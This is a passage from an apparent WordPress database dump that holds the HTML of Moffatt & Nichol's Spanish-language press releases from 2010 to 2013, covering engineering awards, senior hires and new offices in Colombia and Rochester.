Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-10','','','2013-10-31 17:27:46','2013-10-31 17:27:46','',1399,'http://moffattnichol.com/spanish/1399-revision-10/',0,'revision','',0),(2798,1,'2013-10-31 17:28:54','2013-10-31 17:28:54','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. 